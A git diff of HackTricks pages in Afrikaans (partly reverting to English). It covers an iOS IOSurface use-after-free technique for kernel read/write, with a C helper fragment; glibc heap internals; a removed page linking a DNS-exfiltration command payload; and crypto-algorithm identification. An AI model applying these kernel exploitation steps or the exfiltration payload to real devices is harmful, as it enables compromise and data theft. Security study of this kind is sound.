2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bis skryf** toe.
|
||||
1. **Gebruik Tel Punter**: Laat 'n **32-bit lees** toe.
|
||||
2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bit skryf** toe.
|
||||
|
||||
Deur hierdie punters te oorskryf, herlei ons hulle na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
|
||||
Deur hierdie punters te oorskryf, lei ons dit na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
|
||||
|
||||
#### 32-Bit Kernel Lees
|
||||
|
||||
Om 'n lees uit te voer:
|
||||
|
||||
1. Oorskryf die **gebruik tel punter** om na die teikenadres minus 'n 0x14-byt offset te wys.
|
||||
2. Gebruik die `get_use_count` metode om die waarde by daardie adres te lees.
|
||||
1. Oorskryf die **gebruik tel punter** om na die teiken adres minus 'n 0x14-byte offset te wys.
|
||||
2. Gebruik die `get_use_count` metode om die waarde op daardie adres te lees.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
@ -174,9 +176,9 @@ iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Skryf
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
Om 'n skryf te doen:
|
||||
Om 'n skrywe uit te voer:
|
||||
|
||||
1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
|
||||
2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
|
||||
@ -197,7 +199,10 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
|
||||
2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.
|
||||
3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
|
||||
4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kern lees/schryf** via IOSurface-metodes moontlik te maak.
|
||||
3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygestelde bladsy wat jy beheer.
|
||||
4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kern lees/skryf** via IOSurface-metodes moontlik te maak.
|
||||
|
||||
Met hierdie primitiewe bied die exploit beheerde **32-bit lees** en **64-bit skryf** na kerngeheue. Verdere jailbreak-stappe kan meer stabiele lees/schryf primitiewe behels, wat dalk die omseiling van addisionele beskermings mag vereis (bv. PPL op nuwer arm64e toestelle).
|
||||
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,8 @@
|
||||
# Libc Heap
|
||||
|
||||
## Heap Basiese
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Heap Basics
|
||||
|
||||
Die heap is basies die plek waar 'n program data kan stoor wanneer dit data aanroep deur funksies soos **`malloc`**, `calloc`... Boonop, wanneer hierdie geheue nie meer nodig is nie, word dit beskikbaar gemaak deur die funksie **`free`** aan te roep.
|
||||
|
||||
@ -8,40 +10,40 @@ Soos getoon, is dit net na waar die binêre in geheue gelaai word (kyk die `[hea
|
||||
|
||||
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Basiese Chunk Toewysing
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Wanneer sekere data aangevra word om in die heap gestoor te word, word 'n stuk ruimte in die heap aan dit toegeken. Hierdie ruimte sal aan 'n bin behoort en slegs die aangevraagde data + die ruimte van die bin kopstukke + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit moeilik te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vrye chunk is.
|
||||
Wanneer sekere data versoek word om in die heap gestoor te word, word 'n gedeelte van die heap aan dit toegeken. Hierdie ruimte behoort aan 'n bin en slegs die versoekte data + die ruimte van die bin koppe + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit moeilik te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vrye chunk is.
|
||||
|
||||
Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:
|
||||
|
||||
- Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
|
||||
- As daar in die lys van chunks iemand beskikbaar is wat groot genoeg is om die aanvraag te vervul, sal dit gebruik word.
|
||||
- Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res aan die chunks lys bygevoeg sal word.
|
||||
- As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, sal die heap bestuurder 'n nuwe chunk skep.
|
||||
- As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en dan hierdie geheue te gebruik om die nuwe chunk te genereer.
|
||||
- As daar in die lys van chunks iemand beskikbaar is groot genoeg om die versoek te vervul, sal dit gebruik word.
|
||||
- Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie versoek gebruik sal word en die res aan die chunks lys bygevoeg sal word.
|
||||
- As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, skep die heap bestuurder 'n nuwe chunk.
|
||||
- As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
|
||||
- As alles misluk, keer `malloc` null terug.
|
||||
|
||||
Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die aangevraagde geheue te kaart.
|
||||
Let daarop dat as die versoekte **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die versoekte geheue te kaart.
|
||||
|
||||
## Arenas
|
||||
|
||||
In **multithreaded** toepassings moet die heap bestuurder **wedren toestande** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een draad die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
|
||||
In **multithreaded** toepassings moet die heap bestuurder **race conditions** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasieprobleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
|
||||
|
||||
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** optree met sy **eie** data **strukture** en **mutex**, wat verskeie drade toelaat om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
|
||||
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** met sy **eie** data **strukture** en **mutex** optree, wat verskeie threads in staat stel om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
|
||||
|
||||
Die standaard "hoof" arena hanteer heap operasies vir enkel-draad toepassings. Wanneer **nuwe drade** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe draad aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet drade arenas deel**, wat tot potensiële mededinging lei.
|
||||
Die standaard "hoof" arena hanteer heap operasies vir enkel-draad toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe indien nodig, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
|
||||
|
||||
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag na te boots, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
|
||||
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag te simuleer, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
|
||||
|
||||
### Subheaps
|
||||
|
||||
Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassings, wat hulle toelaat om te groei en hul eie heap gebiede apart van die hoof heap te bestuur. Hier is hoe subheaps verskil van die aanvanklike heap en hoe hulle werk:
|
||||
Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassings, wat hulle in staat stel om te groei en hul eie heap gebiede apart van die hoof heap te bestuur. Hier is hoe subheaps verskil van die aanvanklike heap en hoe hulle werk:
|
||||
|
||||
1. **Aanvanklike Heap vs. Subheaps**:
|
||||
- Die aanvanklike heap is direk na die program se binêre in geheue geleë, en dit brei uit deur die `sbrk` stelselaanroep.
|
||||
- Subheaps, wat deur sekondêre arenas gebruik word, word geskep deur `mmap`, 'n stelselaanroep wat 'n gespesifiseerde geheuegebied kaart.
|
||||
2. **Geheue Reservasie met `mmap`**:
|
||||
- Wanneer die heap bestuurder 'n subheap skep, reserveer dit 'n groot blok geheue deur `mmap`. Hierdie reservasie allokeer nie onmiddellik geheue nie; dit dui eenvoudig 'n gebied aan wat ander stelsels of allokasies nie moet gebruik nie.
|
||||
- Wanneer die heap bestuurder 'n subheap skep, reserveer dit 'n groot blok geheue deur `mmap`. Hierdie reservasie allokeer nie onmiddellik geheue nie; dit dui eenvoudig 'n gebied aan wat ander stelsels of toewysings nie moet gebruik nie.
|
||||
- Standaard is die gereserveerde grootte vir 'n subheap 1 MB vir 32-bis prosesse en 64 MB vir 64-bis prosesse.
|
||||
3. **Geleidelike Uitbreiding met `mprotect`**:
|
||||
- Die gereserveerde geheuegebied is aanvanklik gemerk as `PROT_NONE`, wat aandui dat die kernel nie fisiese geheue aan hierdie ruimte hoef toe te ken nie.
|
||||
@ -76,7 +78,7 @@ In die geval van **`malloc_state`** struktuur van die heaps van threads, is hull
|
||||
|
||||
Daar is 'n paar interessante dinge om te noem van hierdie struktuur (sien C kode hieronder):
|
||||
|
||||
- `__libc_lock_define (, mutex);` Is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
|
||||
- `__libc_lock_define (, mutex);` is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
|
||||
- Vlaggies:
|
||||
|
||||
- ```c
|
||||
@ -89,9 +91,9 @@ Daar is 'n paar interessante dinge om te noem van hierdie struktuur (sien C kode
|
||||
```
|
||||
|
||||
- Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
|
||||
- Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan **leak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
|
||||
- Daarom sal die **eerste chunk** van hierdie bins 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **vorentoe wysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan **leak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
|
||||
- Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is verknopte lyste van arenas
|
||||
- Die `top` chunk is die laaste "chunk", wat basies **alle die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
|
||||
- Die `top` chunk is die laaste "chunk", wat basies **alle heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
|
||||
- Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplit is, 'n pointer oorblywende deel word hier geplaas.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
@ -142,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem;
|
||||
```
|
||||
### malloc_chunk
|
||||
|
||||
Hierdie struktuur verteenwoordig 'n spesifieke stuk geheue. Die verskillende velde het verskillende betekenisse vir toegewyde en nie-toegewyde stukke.
|
||||
Hierdie struktuur verteenwoordig 'n spesifieke stuk geheue. Die verskillende velde het verskillende betekenisse vir toegewezen en ongetoewysde stukke.
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
@ -157,14 +159,14 @@ struct malloc_chunk* bk_nextsize;
|
||||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
Soos voorheen kommentaar gelewer, het hierdie stukke ook 'n paar metadata, baie goed verteenwoordig in hierdie beeld:
|
||||
Soos voorheen opgemerk, het hierdie stukke ook 'n paar metadata, baie goed voorgestel in hierdie beeld:
|
||||
|
||||
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
Die metadata is gewoonlik 0x08B wat die huidige stukgrootte aandui met die laaste 3 bits om aan te dui:
|
||||
|
||||
- `A`: As 1 kom dit van 'n subheap, as 0 is dit in die hoofarena
|
||||
- `M`: As 1, is hierdie stuk deel van 'n ruimte toegeken met mmap en nie deel van 'n heap nie
|
||||
- `M`: As 1, is hierdie stuk deel van 'n ruimte wat met mmap toegeken is en nie deel van 'n heap nie
|
||||
- `P`: As 1, is die vorige stuk in gebruik
|
||||
|
||||
Dan, die ruimte vir die gebruikersdata, en uiteindelik 0x08B om die vorige stukgrootte aan te dui wanneer die stuk beskikbaar is (of om gebruikersdata te stoor wanneer dit toegeken word).
|
||||
@ -178,12 +180,12 @@ Boonop, wanneer beskikbaar, word die gebruikersdata ook gebruik om 'n paar data
|
||||
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Let op hoe die lys op hierdie manier verbind die behoefte aan 'n array waar elke enkele stuk geregistreer word, voorkom.
|
||||
> [!TIP]
|
||||
> Let op hoe die lys op hierdie manier verbind, die behoefte aan 'n array waar elke enkele stuk geregistreer word, voorkom.
|
||||
|
||||
### Stuk Wysers
|
||||
|
||||
Wanneer malloc gebruik word, word 'n wys na die inhoud wat geskryf kan word, teruggestuur (net na die koptekste), egter, wanneer stukke bestuur word, is 'n wys na die begin van die koptekste (metadata) nodig.\
|
||||
Wanneer malloc gebruik word, word 'n wys na die inhoud wat geskryf kan word, teruggegee (net na die koptekste), egter, wanneer stukke bestuur word, is 'n wys na die begin van die koptekste (metadata) nodig.\
|
||||
Vir hierdie omskakelings word hierdie funksies gebruik:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
@ -202,7 +204,7 @@ Vir hierdie omskakelings word hierdie funksies gebruik:
|
||||
#define MINSIZE \
|
||||
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
|
||||
```
|
||||
### Uitlyn & minimum grootte
|
||||
### Uitlijning & min grootte
|
||||
|
||||
Die wysiger na die stuk en `0x0f` moet 0 wees.
|
||||
```c
|
||||
@ -259,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Let daarop dat vir die berekening van die totale ruimte wat nodig is, word `SIZE_SZ` slegs 1 keer bygevoeg omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.
|
||||
Let wel, vir die berekening van die totale ruimte wat benodig word, word `SIZE_SZ` slegs 1 keer bygevoeg omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.
|
||||
|
||||
### Kry Chunk data en verander metadata
|
||||
|
||||
@ -413,9 +415,9 @@ Stel 'n breekpunt aan die einde van die hooffunksie en kom ons vind uit waar die
|
||||
|
||||
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
|
||||
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
|
||||
|
||||
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bits masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
|
||||
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte geallineer is (in 64-bis masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
|
||||
```
|
||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||
@ -473,7 +475,7 @@ Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan d
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dan, na die aanroep van die eerste draad, die een wat malloc aanroep, word 'n nuwe arena geskep:
|
||||
Dan, na die eerste draad aan te roep, die een wat malloc aanroep, word 'n nuwe arena geskep:
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -491,7 +493,7 @@ bins-and-memory-allocations.md
|
||||
|
||||
## Heap Funksies Sekuriteitskontroles
|
||||
|
||||
Funksies wat betrokke is by die heap sal sekere kontroles uitvoer voordat hulle hul aksies uitvoer om te probeer seker te maak dat die heap nie gekorrumpeer is nie:
|
||||
Funksies wat betrokke is by die heap sal sekere kontroles uitvoer voordat hulle hul aksies uitvoer om te probeer seker te maak dat die heap nie beskadig is nie:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/heap-functions-security-checks.md
|
||||
@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md
|
||||
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,19 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# Basiese Payloads
|
||||
|
||||
- **Eenvoudige Lys:** Net 'n lys wat 'n inskrywing in elke lyn bevat
|
||||
- **Runtime Lêer:** 'n Lys wat tydens uitvoering gelees word (nie in geheue gelaai nie). Vir ondersteuning van groot lyste.
|
||||
- **Geval Wysiging:** Pas 'n paar veranderinge toe op 'n lys van stringe (Geen verandering, na laer, na HOOF, na Regte naam - Eerste hoofletter en die res na laer-, na Regte Naam - Eerste hoofletter en die res bly dieselfde-).
|
||||
- **Nommer:** Genereer nommers van X tot Y met Z stap of ewekansig.
|
||||
- **Brute Forcer:** Karakterstel, minimum & maksimum lengte.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload om opdragte uit te voer en die uitvoer via DNS versoeke na burpcollab te verkry.
|
||||
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,12 +1,10 @@
|
||||
# Kriptografiese/Kompressie Algoritmes
|
||||
|
||||
## Kriptografiese/Kompressie Algoritmes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identifisering van Algoritmes
|
||||
|
||||
As jy eindig in 'n kode **wat regte en linke skuif, xors en verskeie aritmetiese operasies gebruik**, is dit hoogs waarskynlik dat dit die implementering van 'n **kriptografiese algoritme** is. Hier gaan daar 'n paar maniere gewys word om die **algoritme wat gebruik word te identifiseer sonder om elke stap om te keer**.
|
||||
As jy eindig in 'n kode **wat regte en linke verskuiwings, xors en verskeie aritmetiese operasies gebruik**, is dit hoogs waarskynlik dat dit die implementering van 'n **kriptografiese algoritme** is. Hier gaan daar 'n paar maniere gewys word om die **algoritme wat gebruik word te identifiseer sonder om elke stap om te keer**.
|
||||
|
||||
### API funksies
|
||||
|
||||
@ -50,12 +48,12 @@ Jy kan enige van die ander konstantes soek en jy sal (waarskynlik) dieselfde res
|
||||
|
||||
### data info
|
||||
|
||||
As die kode geen betekenisvolle konstante het nie, kan dit **inligting laai vanaf die .data afdeling**.\
|
||||
Jy kan daardie data toegang, **groepeer die eerste dword** en dit in Google soek soos ons in die vorige afdeling gedoen het:
|
||||
As die kode geen betekenisvolle konstante het nie, kan dit **inligting van die .data afdeling laai**.\
|
||||
Jy kan daardie data toegang, **die eerste dword groepeer** en dit in Google soek soos ons in die vorige afdeling gedoen het:
|
||||
|
||||
.png>)
|
||||
|
||||
In hierdie geval, as jy soek na **0xA56363C6** kan jy vind dat dit verband hou met die **tabelle van die AES algoritme**.
|
||||
In hierdie geval, as jy soek vir **0xA56363C6** kan jy vind dat dit verband hou met die **tabelle van die AES algoritme**.
|
||||
|
||||
## RC4 **(Simmetriese Kriptografie)**
|
||||
|
||||
@ -64,17 +62,17 @@ In hierdie geval, as jy soek na **0xA56363C6** kan jy vind dat dit verband hou m
|
||||
Dit bestaan uit 3 hoofdele:
|
||||
|
||||
- **Inisialisering fase/**: Skep 'n **tabel van waardes van 0x00 tot 0xFF** (256bytes in totaal, 0x100). Hierdie tabel word algemeen die **Substitusie Boks** (of SBox) genoem.
|
||||
- **Hussel fase**: Sal **deur die tabel loop** wat voorheen geskep is (lus van 0x100 iterasies, weer) en elke waarde met **semi-ewe** bytes aanpas. Om hierdie semi-ewe bytes te skep, word die RC4 **sleutel gebruik**. RC4 **sleutels** kan **tussen 1 en 256 bytes in lengte** wees, maar dit word gewoonlik aanbeveel dat dit bo 5 bytes is. Gewoonlik is RC4 sleutels 16 bytes in lengte.
|
||||
- **Scrambling fase**: Sal **deur die tabel loop** wat voorheen geskep is (lus van 0x100 iterasies, weer) en elke waarde met **semi-ewe random** bytes aanpas. Om hierdie semi-ewe random bytes te skep, word die RC4 **sleutel gebruik**. RC4 **sleutels** kan **tussen 1 en 256 bytes in lengte** wees, maar dit word gewoonlik aanbeveel dat dit bo 5 bytes is. Gewoonlik is RC4 sleutels 16 bytes in lengte.
|
||||
- **XOR fase**: Laastens, die plain-text of cyphertext word **XORed met die waardes wat voorheen geskep is**. Die funksie om te enkripteer en te dekripteer is dieselfde. Hiervoor sal 'n **lus deur die geskepte 256 bytes** uitgevoer word soveel keer as wat nodig is. Dit word gewoonlik in 'n dekompilde kode erken met 'n **%256 (mod 256)**.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> **Om 'n RC4 in 'n disassembly/dekompilde kode te identifiseer, kan jy kyk vir 2 lusse van grootte 0x100 (met die gebruik van 'n sleutel) en dan 'n XOR van die invoerdata met die 256 waardes wat voorheen in die 2 lusse geskep is, waarskynlik met 'n %256 (mod 256)**
|
||||
|
||||
### **Inisialisering fase/Substitusie Boks:** (Let op die nommer 256 wat as teenwoordiger gebruik word en hoe 'n 0 in elke plek van die 256 karakters geskryf word)
|
||||
|
||||
.png>)
|
||||
|
||||
### **Hussel Fase:**
|
||||
### **Scrambling Fase:**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,7 +85,7 @@ Dit bestaan uit 3 hoofdele:
|
||||
### **Kenmerke**
|
||||
|
||||
- Gebruik van **substitusie bokse en opsoek tabelle**
|
||||
- Dit is moontlik om **AES te onderskei danksy die gebruik van spesifieke opsoek tabel waardes** (konstantes). _Let daarop dat die **konstante** in die binêre **gestoor** kan word **of geskep** _ _**dynamies**._
|
||||
- Dit is moontlik om **AES te onderskei danksy die gebruik van spesifieke opsoek tabel waardes** (konstantes). _Let daarop dat die **konstante** in die binêre **of geskep** _**dynamies**._
|
||||
- Die **enkripsiesleutel** moet **deelbaar** wees deur **16** (gewoonlik 32B) en gewoonlik word 'n **IV** van 16B gebruik.
|
||||
|
||||
### SBox konstantes
|
||||
@ -112,7 +110,7 @@ Soos voorheen genoem, kan hierdie kode binne enige decompiler as 'n **baie lang
|
||||
|
||||
.png>)
|
||||
|
||||
Daarom is dit moontlik om hierdie algoritme te identifiseer deur die **magiese nommer** en die **begin XORs** te kontroleer, 'n **baie lang funksie** te sien en **instruksies** van die lang funksie **te vergelyk** met 'n implementering (soos die skuif links deur 7 en die rotasie links deur 22).
|
||||
Daarom is dit moontlik om hierdie algoritme te identifiseer deur die **magiese nommer** en die **begin XORs** te kontroleer, 'n **baie lang funksie** te sien en **instruksies** van die lang funksie **met 'n implementering** te vergelyk (soos die verskuiwing links deur 7 en die rotasie links deur 22).
|
||||
|
||||
## RSA **(Asimmetriese Kriptografie)**
|
||||
|
||||
@ -120,7 +118,7 @@ Daarom is dit moontlik om hierdie algoritme te identifiseer deur die **magiese n
|
||||
|
||||
- Meer kompleks as simmetriese algoritmes
|
||||
- Daar is geen konstantes nie! (aangepaste implementasies is moeilik om te bepaal)
|
||||
- KANAL (n kripto ontleder) misluk om leidrade oor RSA te toon en dit staatmaak op konstantes.
|
||||
- KANAL (n kripto ontleder) slaag nie daarin om leidrade oor RSA te wys nie en dit staatmaak op konstantes.
|
||||
|
||||
### Identifisering deur vergelykings
|
||||
|
||||
@ -153,7 +151,7 @@ Let op die gebruik van meer konstantes
|
||||
## CRC (hash)
|
||||
|
||||
- Kleiner en meer doeltreffend aangesien dit se funksie is om toevallige veranderinge in data te vind
|
||||
- Gebruik opsoek tabelle (so jy kan konstantes identifiseer)
|
||||
- Gebruik opsoek tabelle (sodat jy konstantes kan identifiseer)
|
||||
|
||||
### Identifiseer
|
||||
|
||||
|
@ -1,157 +0,0 @@
|
||||
# Sertifikate
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Wat is 'n Sertifikaat
|
||||
|
||||
'n **Publieke sleutelsertifikaat** is 'n digitale ID wat in kriptografie gebruik word om te bewys dat iemand 'n publieke sleutel besit. Dit sluit die sleutel se besonderhede, die eienaar se identiteit (die onderwerp), en 'n digitale handtekening van 'n vertroude gesag (die uitgewer) in. As die sagteware die uitgewer vertrou en die handtekening geldig is, is veilige kommunikasie met die sleutel se eienaar moontlik.
|
||||
|
||||
Sertifikate word meestal uitgereik deur [sertifikaatowerhede](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in 'n [publieke sleutel infrastruktuur](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) opstelling. 'n Ander metode is die [web van vertroue](https://en.wikipedia.org/wiki/Web_of_trust), waar gebruikers mekaar se sleutels direk verifieer. Die algemene formaat vir sertifikate is [X.509](https://en.wikipedia.org/wiki/X.509), wat aangepas kan word vir spesifieke behoeftes soos uiteengesit in RFC 5280.
|
||||
|
||||
## x509 Algemene Velde
|
||||
|
||||
### **Algemene Velde in x509 Sertifikate**
|
||||
|
||||
In x509 sertifikate speel verskeie **velde** kritieke rolle in die versekerings van die sertifikaat se geldigheid en sekuriteit. Hier is 'n uiteensetting van hierdie velde:
|
||||
|
||||
- **Weergawe Nommer** dui die x509 formaat se weergawe aan.
|
||||
